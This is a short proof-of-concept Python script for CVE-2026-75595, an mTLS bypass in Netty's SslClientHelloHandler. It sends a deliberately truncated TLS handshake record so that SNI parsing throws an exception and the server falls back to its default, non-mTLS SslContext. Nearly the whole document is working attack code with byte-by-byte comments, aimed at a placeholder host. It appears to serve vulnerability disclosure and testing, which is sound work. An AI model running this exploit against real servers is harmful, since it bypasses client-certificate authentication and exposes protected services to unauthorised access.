CVE-2026-75595: Netty SslClientHelloHandler SNI mTLS Bypass via Fragmented TLS ClientHello

# Two TCP writes to the target TLS port.
# Write 1: TLS Handshake record (content type 0x16) with only 3 bytes of body,
#           so the 4-byte handshake header (type + 3-byte length) is incomplete.
# Write 2: anything (or nothing) -- the parser already crashed in write 1.
#
# Byte layout of write 1:
#   0x16        -- content_type = handshake
#   0x03 0x03   -- version = TLS 1.2
#   0x00 0x03   -- record length = 3 (fewer than the 4 bytes the parser needs)
#   0x01        -- handshake type = ClientHello (only 1 byte delivered)
#   0x00 0x00   -- 2 of the 3 handshake-length bytes (record ends here)
#
# Result: getUnsignedMedium(readerIndex + 6) reads the 3rd length byte
#         from outside this record -> IndexOutOfBoundsException
#         -> catch(Exception) -> select(ctx, null) -> default SslContext

import socket

def trigger(host, port):
    # Fragment 1: TLS record, 3-byte body -- handshake header intentionally truncated
    frag1 = bytes([
        0x16,        # content_type: handshake
        0x03, 0x03,  # version: TLS 1.2
        0x00, 0x03,  # record length: 3 bytes
        0x01,        # handshake type: ClientHello
        0x00, 0x00,  # first 2 of 3 handshake-length bytes (truncated)
    ])

    s = socket.create_connection((host, port))
    s.sendall(frag1)
    # Server's SslClientHelloHandler throws IOOBE, catches it,
    # calls select(ctx, null), and falls back to the default SslContext.
    # Continue TLS handshake normally -- no client cert required.
    print("Fragment sent. Server should now use default (non-mTLS) SslContext.")
    s.close()

trigger("target.example.com", 443)